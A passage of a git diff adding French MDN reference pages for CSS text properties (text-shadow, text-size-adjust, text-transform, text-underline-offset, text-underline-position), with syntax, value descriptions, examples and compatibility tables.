+ <dd>Optionnelle. La couleur de l'ombre. Elle peut être spécifiée avant ou après les valeurs de décalage. Si non spécifiée, la valeur de la couleur est laissée à l'agent utilisateur, donc quand une cohérence entre les navigateurs est désirée, vous devriez la définir explicitement.</dd>
+ <dt>&lt;decalage-x&gt; &lt;decalage-y&gt;</dt>
+ <dd>Obligatoires. Ces valeurs {{cssxref("&lt;length&gt;")}} définissent la distance de l'ombre par rapport au texte. <code>&lt;decalage-x&gt;</code> définit la distance horizontale ; une valeur négative place l'ombre à gauche du texte. <code>&lt;decalage-y&gt;</code> définit la distance verticale ; une valeur négative place l'ombre au-dessus du texte. Si les deux valeurs sont à <code>0</code>, l'ombre sera placée exactement derrière le texte, bien qu'elle puisse être partiellement visible du fait de l'effet du <code>&lt;rayon-de-flou&gt;</code>).</dd>
+ <dt>&lt;rayon-de-flou&gt;</dt>
+ <dd>Optionnel. C'est une valeur {{cssxref("&lt;length&gt;")}}). Plus la valeur sera élevée, plus le flou sera important ; l'ombre deviendra plus large et plus légère. Si non utilisée, elle a pour défaut <code>0</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ombre_simple">Ombre simple</h3>
+
+<div id="Example1">
+<pre class="brush: css">.red-text-shadow {
+   text-shadow: red 0 -2px;
+}</pre>
+
+<pre class="brush: html">&lt;p class="red-text-shadow"&gt;Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.&lt;/p&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Simple_shadow', '660px', '90px')}}</p>
+
+<h3 id="Ombres_multiples">Ombres multiples</h3>
+
+<div id="Example2">
+<pre class="brush:css">.white-text-with-blue-shadow {
+   text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+   color: white;
+   font: 1.5em Georgia, serif;
+}</pre>
+
+<pre class="brush: html">&lt;p class="white-text-with-blue-shadow"&gt;Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsaquae ab illo inventore.&lt;/p&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Multiple_shadows', '660px', '170px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Spécifie <code>text-shadow</code> comme animable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>La propriété CSS <code>text-shadow</code> était <a class="external" href="https://www.w3.org/TR/2008/REC-CSS2-20080411/text.html#text-shadow-props">incorrectement définie dans CSS2</a> et fut abandonnée dans CSS2 (Level 1). La spéc CSS Text Module Level 3 a raffiné la syntaxe. Ensuite, elle a été déplacée dans <a href="https://www.w3.org/TR/css-text-decor-3/">CSS Text Decoration Module Level 3</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("css.properties.text-shadow")}}</p>
+
+<h3 id="Notes_CSS_Quantum">Notes CSS Quantum</h3>
+
+<ul>
+ <li>Gecko présente un bug en raison duquel les {{cssxref("transition")}}s ne fonctionnent pas lors d'une transition entre une <code>text-shadow</code> avec une couleur spécifiée et une <code>ext-shadow</code> sans couleur spécifiée ({{bug(726550)}}). Cela a été corrigé dans le nouveau moteur CSS (aussi connu comme <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> ou <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>), prévu pour être disponible dans Firefox 57.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://cssgenerator.org/text-shadow-css-generator.html">Text Shadow Generator</a> - Un générateur CSS d'ombre de texte interactif</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>Le type de données {{cssxref("&lt;color&gt;")}} (pour spécifier la couleur d'ombre)</li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML</a></li>
+</ul>
diff --git a/files/fr/web/css/text-size-adjust/index.html b/files/fr/web/css/text-size-adjust/index.html
new file mode 100644
index 0000000000..724f0ac75c
--- /dev/null
+++ b/files/fr/web/css/text-size-adjust/index.html
@@ -0,0 +1,88 @@
+---
+title: text-size-adjust
+slug: Web/CSS/text-size-adjust
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-size-adjust
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>text-size-adjust</code></strong> permet de contrôler l'algorithme d'amplification du texte sur certains appareils mobiles. Cette propriété n'est pas standard et doit donc être préfixée : <code>-moz-text-size-adjust</code>, <code>-webkit-text-size-adjust</code>, and <code>-ms-text-size-adjust</code>.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+text-size-adjust: none;
+text-size-adjust: auto;
+
+/* Valeurs proportionnelles */
+text-size-adjust: 80%;
+
+/* Valeurs globales */
+text-size-adjust: inherit;
+text-size-adjust: initial;
+text-size-adjust: unset;
+</pre>
+
+<p>De nombreuses pages web n'ont pas été conçues pour le mobile et les navigateurs mobiles n'affichent pas les pages web de la même façon que les navigateurs de bureau. Plutôt que d'afficher une page web dans la largeur de l'écran, un navigateur mobile sera parfois amené à l'afficher dans une zone d'affichage beaucoup plus large que l'écran. Pour gérer la largeur de l'écran, le navigateur n'affichera qu'une partie ou rétrécira la taille de la zone d'affichage.</p>
+
+<p>Par essence, cela signifie que, sur mobiles, on ne voit qu'une portion rectangulaire de la page ou que la page a l'air dézoomée (et apparaît donc plus petite).</p>
+
+<p>Cependant, lorsque l'utilisateur zoome jusqu'à ce que le texte soit lisible, on a alors une barre horizontale de défilement qui apparaît car le texte est large que la largeur de l'écran et l'ergonomie est donc détériorée car l'utilisateur doit défiler à la fin et au début à chaque passage à la ligne. Pour éviter ce problème, plusieurs navigateurs mobiles implémentent un algorithme de <strong>gonflement</strong> (<em>inflation</em>). Lorsqu'un élément reçoit le focus, qu'il contient du texte et qu'il utilise 100 % de la largeur de l'écran, la taille du texte est augmentée afin qu'il soit lisible, sans pour autant modifier la disposition générale (ce qui évite d'avoir à recourir à une barre de défilement horizontale).</p>
+
+<p>La propriété <code>text-size-adjust</code> permet aux auteurs de ne pas suivre ce comportement si les pages web ont été adaptées pour les différents formats d'écran.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>text-size-adjust</code> est définie avec le mot-clé <code>none</code> ou le mot-clé <code>auto</code> ou avec une valeur de type <code>&lt;percentage&gt;</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui permet de ne pas utiliser l'algorithme de gonflement. En résumé, cela signifie que l'élément sera affiché sans que le texte soit amplifié. Pour les anciennes versions des navigateurs basés sur le moteur WebKit (Chrome ≤ 26 et Safari ≤ 5), cela empêchera l'utilisateur de zoomer/dézoomer sur la page web.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Active l'algorithme d'amplification du navigateur. Ce mot-clé permet notamment d'annuler une valeur <code>none</code> utilisée précédemment.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur exprimée en pourcentages (type de données {{cssxref("&lt;percentage&gt;")}}. Cette valeur est synonyme du mot-clé <code>auto</code> et ajoute comme information le taux d'amplification à utiliser sur la police avec l'algorithme.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Text Size Adjust", "#adjustment-control", "text-size-adjust")}}</td>
+   <td>{{Spec2("CSS Text Size Adjust")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.text-size-adjust")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="link-https" href="https://developer.apple.com/library/ios/#DOCUMENTATION/AppleApplications/Reference/SafariWebContent/AdjustingtheTextSize/AdjustingtheTextSize.html">La documentation d'Apple</a></li>
+ <li><a class="external" href="http://dbaron.org/log/20111126-font-inflation">Le comportement de Gecko décrit par L. David Baron</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/windowsphone/develop/ff462082(v=vs.105).aspx">La documentation de Microsoft</a></li>
+</ul>
diff --git a/files/fr/web/css/text-transform/index.html b/files/fr/web/css/text-transform/index.html
new file mode 100644
index 0000000000..ecba436b31
--- /dev/null
+++ b/files/fr/web/css/text-transform/index.html
@@ -0,0 +1,191 @@
+---
+title: text-transform
+slug: Web/CSS/text-transform
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-transform
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-transform</code></strong> définit la façon d'utiliser les lettres capitales pour le texte d'un élément. Cela permet que le texte soit écrit uniquement en majuscules, minuscules ou que chaque mot commence par une capitale. Cela permet également d'améliorer la lisibilité pour les textes avec des annotations <a href="/fr/docs/HTML/Element/ruby">Ruby</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-transform.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété <code>text-transform</code> gère les différences liées aux langues, par exemple :</p>
+
+<ul>
+ <li>
+  <p>Pour les langues turques comme le turc (tr), l'azéri (az), le tatar de Crimée (crh), le tatar de Volga (tt) et le bachkir (ba), il existe deux sortes de i, avec et sans le point. Les majuscules correspondantes sont également différentes : <code>i</code>/<code>İ</code> et <code>ı</code>/<code>I</code>.</p>
+ </li>
+ <li>
+  <p>En allemand (de), le <code>ß</code> devient <code>SS</code> en majuscule.</p>
+ </li>
+ <li>
+  <p>En néerlandais (nl), le digraphe <code>ij</code> devient <code>IJ</code>, y compris avec <code>text-transform: capitalize</code> qui ne met que la première lettre de chaque mot en majuscule.</p>
+ </li>
+ <li>
+  <p>En grec (el), les voyelles perdent leur accent lorsque tout le mot est écrit en capitales (<code>ά</code>/<code>Α</code>) à l'exception du eta disjonctif (<code>ή</code>/<code>Ή</code>). Les diphtongues avec un accent sur la première voyelle perde l'accent et récupère un tréma sur la seconde voyelle (<code>άι</code>/<code>ΑΪ</code>). La lettre sigma a deux formes minuscules : <code>σ</code> et <code>ς</code>. <code>ς</code> est utilisée uniquement lorsque c'est la dernière lettre du mot. Lorsque l'agent utilisateur applique <code>text-transform: lowercase</code> à un sigma majuscule (<code>Σ</code>), il doit choisir l'une des deux formes selon le contexte.</p>
+ </li>
+ <li>En gaëlique (ga), une lettre qui préfixe un mot doit rester en minuscule lorsqu'on capitalise toutes les lettres. Ainsi, en appliquant <code>text-transform: uppercase</code> à <code>ar aon tslí</code>, on obtiendra <code>AR AON tSLÍ</code> et non <code>AR AON TSLÍ</code>. Dans certains cas, un trait d'union peut être retiré lors du passage en majuscules : <code>an t-uisce</code> deviendra <code>AN tUISCE </code>(le trait-d'union sera bien réinséré avec <code>text-transform: lowercase</code>)</li>
+</ul>
+
+<p>La langue d'un document HTML est définie par l'attribut XML <code>xml:lang</code>, qui a la priorité sur l'attribut global <code><a href="/fr/docs/Web/HTML/Attributs_globaux/lang">lang</a></code>.</p>
+
+<p>Le support de ces différents cas peut varier d'un navigateur à un autre. Pour plus de détails, <a href="#compat">voir le tableau de compatibilité des navigateurs</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+text-transform: none;
+text-transform: capitalize;
+text-transform: uppercase;
+text-transform: lowercase;
+text-transform: full-width;
+text-transform: full-size-kana;
+
+/* Valeurs globales */
+text-transform: inherit;
+text-transform: initial;
+text-transform: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>capitalize</code></dt>
+ <dd>
+ <p>En utilisant ce mot-clé, la première lettre de chaque mot sera affichée en capitale. Les autres caractères ne seront pas modifiés et conserveront ainsi la forme originale, contenue dans le texte de l'élément. Ici, une lettre peut être n'importe quel caractère Unicode qui fait partie des catégories génériques Lettre. Cela exclue donc les symboles de ponctuations qui peuvent être utilisés en début de mot.</p>
+
+ <p class="note">Le mot-clé capitalize n'était pas complètement spécifié avec CSS 1 et CSS 2.1. Il y avait certaines différences entre les navigateurs : Firefox considèrait que - et _ étaient des lettres ; Webkit et Gecko considéraient que les symboles lettrés comme ⓐ étaient de vraies lettres ; Internet Explorer 9 était le plus proche de la définition donnée par CSS2 mais il y avait certains cas étranges. Grâce à CSS Text Level 3, ces ambiguités sont levées. Dans le tableau, la ligne capitalize traduit le support de cette spécification.</p>
+ </dd>
+ <dt><code>uppercase</code></dt>
+ <dd>En utilisant ce mot-clé, tous les caractères seront écrits en capitales.</dd>
+ <dt><code>lowercase</code></dt>
+ <dd>En utilisant ce mot-clé, tous les caractères seront écrits en minuscules.</dd>
+ <dt><code>none</code></dt>
+ <dd>Ce mot-clé empêche les modifications liées à la casse des caractères.</dd>
+ <dt><code>full-width</code> {{experimental_inline}}</dt>
+ <dd>Ce mot-clé force l'écriture de chaque caractère dans un carré, ce qui permet de les aligner avec des scripts d'Asie Orientale (par exemple du chinois ou du japonais).</dd>
+ <dt><code>full-size-kana</code></dt>
+ <dd>Cette valeur est généralement utilisée pour <a href="/fr/docs/Web/HTML/Element/ruby">les annotations Ruby</a>. Ce mot-clé convertit les caractères Kana de petite taille en leur équivalent de grande taille. Cela permet de compenser les problèmes de lisibilité des tailles de police généralement utilisées pour le Ruby.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;code&gt;none :&lt;/code&gt;
+&lt;p class="sans_effet"&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit
+&lt;/p&gt;
+
+&lt;code&gt;capitalize :&lt;/code&gt;
+&lt;p class="cap"&gt;
+  (Voici) “un” –rapide– -test- ⓙkl
+&lt;/p&gt;
+
+&lt;/code&gt; uppercase :&lt;/code&gt;
+&lt;p class="majuscules"&gt;
+  Cependant d'Artagnan voulut d'abord se rendre compte de
+  la physionomie de l'impertinent qui se moquait de lui.
+&lt;/p&gt;
+
+&lt;code&gt;full-width :&lt;/code&gt;
+&lt;p class="mix"&gt;
+  ABCDEF&lt;/br&gt;
+  最初に彼を嘲
+&lt;/p&gt;
+
+&lt;code&gt;full-size-kana :&lt;/code&gt;
+&lt;p class="full-size-kana"&gt;ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ&lt;/p&gt;
+&lt;p&gt;ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ&lt;/p&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p.sans_effet {
+  text-transform: none;
+}
+
+p.cap {
+  text-transform: capitalize;
+}
+
+p.majuscules {
+  text-transform: uppercase;
+}
+
+p.mix {
+  text-transform: full-width;
+}
+
+p.full-size-kana {
+  text-transform: full-size-kana;
+}
+
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","500")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>De grandes portions de texte utilisant <code>text-transform</code> avec la valeur <code>uppercase</code> peuvent être difficilement lisibles par les personnes dyslexiques ou souffrant de problèmes cognitifs.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener"><em>Understanding Success Criterion 1.4.8 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-transform', 'text-transform')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Par rapport à {{SpecName('CSS2.1', 'text.html#caps-prop', 'text-transform')}}, la spécification s'étend aux caractères Unicode des catégories générales Nombre et Lettre. Le comportement de <code>capitalize</code> est modifié pour ignorer les éventuels symboles ou caractères de ponctuations utilisés. Les mots-clés <code>full-width</code> et <code>full-size-kana</code> sont ajoutés afin de pouvoir mélanger harmonieusement les caractères alphabétiques et les caractères idéographiques.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#caps-prop', 'text-transform')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Par rapport à {{SpecName('CSS1', '#text-transform', 'text-transform')}}, étend la spécifications aux lettres non latines et aux scripts bicaméraux.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-transform', 'text-transform')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs"><a id="compat" name="compat">Compatibilité des navigateurs</a></h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-transform")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("font-variant")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-underline-offset/index.html b/files/fr/web/css/text-underline-offset/index.html
new file mode 100644
index 0000000000..b62f7eb7e6
--- /dev/null
+++ b/files/fr/web/css/text-underline-offset/index.html
@@ -0,0 +1,112 @@
+---
+title: text-underline-offset
+slug: Web/CSS/text-underline-offset
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-underline-offset
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>text-underline-offset</code></strong> définit le décalage de la ligne de décoration du texte par rapport à sa position originale.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-underline-offset.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> <code>text-underline-offset</code> n'est pas une propriété détaillée de {{cssxref('text-decoration')}}. Bien qu'un élément puisse avoir plusieurs lignes décoratives, <code>text-underline-offset</code> n'aura qu'un impact sur le soulignage (et pas sur les autres lignes telles que celles fournies par {{cssxref('text-decoration-line')}} avec <code>overline</code> ou <code>line-through</code>).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur simple */
+text-underline-offset: none;
+text-underline-offset: from-font;
+text-underline-offset: 0.2em;
+
+/* Valeurs globales */
+text-underline-offset: inherit;
+text-underline-offset: initial;
+text-underline-offset: unset;
+</pre>
+
+<p>La propriété <code>text-underline-offset</code> est définie avec le mot-clé <code>none</code> ou avec une valeur de la liste suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Le navigateur choisit un décalage approprié pour le soulignage.</dd>
+ <dt><code>from-font</code></dt>
+ <dd>Si le fichier de fonte inclut des informations quant à un décalage préféré, c'est cette valeur qui sera utilisée. Si le fichier de fonte n'a pas cette information, cette valeur se comportera comme <code>auto</code>.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur (valeur de type {{cssxref("&lt;length&gt;")}}) indiquant le décalage à utiliser. Il est recommandé d'utiliser des <code><a href="/fr/docs/Web/CSS/length#em">em</a></code> comme unité afin que le décalage suive la taille de la police (quand on zoome par exemple).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  text-decoration-line: underline;
+  text-decoration-style: wavy;
+  text-decoration-color: red;
+  text-underline-offset: 1em;
+}
+
+.deuxlignes{
+  text-decoration-line: underline overline;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="uneligne"&gt;
+  Voici un texte souligné avec une ligne ondulée rouge !
+&lt;/p&gt;
+&lt;p class="deuxlignes"&gt;
+  Ce texte a une ligne en dessous et une ligne au dessus.
+  Seule la ligne du dessous est déplacée.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '', '', '')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Text Decoration', '#<span class="pl-s">underline-offset</span>', 'text-underline-offset')}}</td>
+   <td>{{Spec2('CSS4 Text Decoration')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.text-underline-offset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-decoration")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-underline-position/index.html b/files/fr/web/css/text-underline-position/index.html
new file mode 100644
index 0000000000..09bbd3b97d
--- /dev/null
+++ b/files/fr/web/css/text-underline-position/index.html
@@ -0,0 +1,128 @@
+---
+title: text-underline-position
+slug: Web/CSS/text-underline-position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-underline-position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-underline-position</code></strong> définit la position du soulignement utilisé lorsque la propriété {{cssxref("text-decoration")}} prend la valeur <code>underline</code>.</p>
+
+<pre class="brush:css  no-line-numbers">/* Avec un mot-clé */
+text-underline-position: auto;
+text-underline-position: under;
+text-underline-position: left;
+text-underline-position: right;
+
+/* Avec plusieurs mots-clés */
+text-underline-position: under left;
+text-underline-position: right under;
+
+/* Valeurs globales */
+text-underline-position: inherit;
+text-underline-position: initial;
+text-underline-position: unset;
+</pre>
+
+<p>Cette propriété est héritée sur les différents éléments et n'est pas réinitialisée avec la propriété raccourcie {{cssxref("text-decoration")}}, ce qui permet de la définir simplement pour l'ensemble du document.</p>
+
+<pre class="brush: css">:root {
+  /* Une meilleure règle par défaut pour un document */
+  /* avec de nombreuses formules chimiques */
+  text-underline-position: under;
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Ce mot-clé permet à l'agent utilisateur d'utiliser un algorithme pour choisir entre <code>under</code> et <code>alphabetic</code>.</dd>
+ <dt><code>under</code></dt>
+ <dd>Ce mot-clé force la ligne à se situer sous la ligne de base, à une position où elle ne traversera pas de <a href="https://fr.wikipedia.org/wiki/Jambage">jambage</a>. Cela est notamment utile lorsqu'on veut souligner de façon lisible des formules chimiques ou mathématiques (qui utilisent fréquemment des indices).</dd>
+ <dt><code>left</code></dt>
+ <dd>In vertical writing-modes, this keyword forces the line to be placed on the <em>left</em> of the characters. In horizontal writing-modes, it is a synonym of <code>under.</code></dd>
+ <dt><code>right</code></dt>
+ <dd>Pour les modes d'écritures verticaux, ce mot-clé force la ligne à être placée à droite des caractères. Pour les modes d'écritures horizontaux, ce mot-clé est synonyme de <code>under.</code></dd>
+ <dt><code>auto-pos</code>{{non-standard_inline}}</dt>
+ <dd>Ce mot-clé est synonyme de <code>auto</code> et c'est ce dernier qui doit être utilisé à la place.</dd>
+ <dt><code>above</code>{{non-standard_inline}}</dt>
+ <dd>Ce mot-clé force la ligne à être dessinée au dessus du texte. Lorsqu'on écrit avec un script d'Asie orientale, la valeur <code>auto</code> aura un effet semblable.</dd>
+ <dt><code>below</code>{{non-standard_inline}}</dt>
+ <dd>Ce mot-clé force la ligne à être dessinée sous le texte. Lorsqu'on utilise un texte alphabétique, la valeur <code>auto</code> aura un effet semblable.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="chimique"&gt;
+  C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;
+&lt;/p&gt;
+&lt;p class="defaut"&gt;
+  Et là avec des &lt;sub&gt;indices&lt;/sub&gt;
+  et du jambage
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.chimique {
+  text-decoration: underline;
+  text-underline-position: under;
+}
+
+.defaut {
+  text-decoration: underline;
+  text-underline-position: auto;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-underline-position-property', 'text-underline-position')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-underline-position")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-decoration")}}</li>
+ <li>{{cssxref("text-decoration-line")}}</li>
+ <li>{{cssxref("text-decoration-style")}}</li>
+ <li>{{cssxref("text-decoration-color")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ie/ms531176%28v=vs.85%29.aspx">La documentation sur les valeurs non-standard utilisées par Microsoft</a></li>
+</ul>
diff --git a/files/fr/web/css/time-percentage/index.html b/files/fr/web/css/time-percentage/index.html
new file mode 100644
index 0000000000..840ef99d22
--- /dev/null
+++ b/files/fr/web/css/time-percentage/index.html
@@ -0,0 +1,50 @@
+---
+title: <time-percentage>
+slug: Web/CSS/time-percentage
+tags:
+  - CSS
+  - Reference
+  - Type
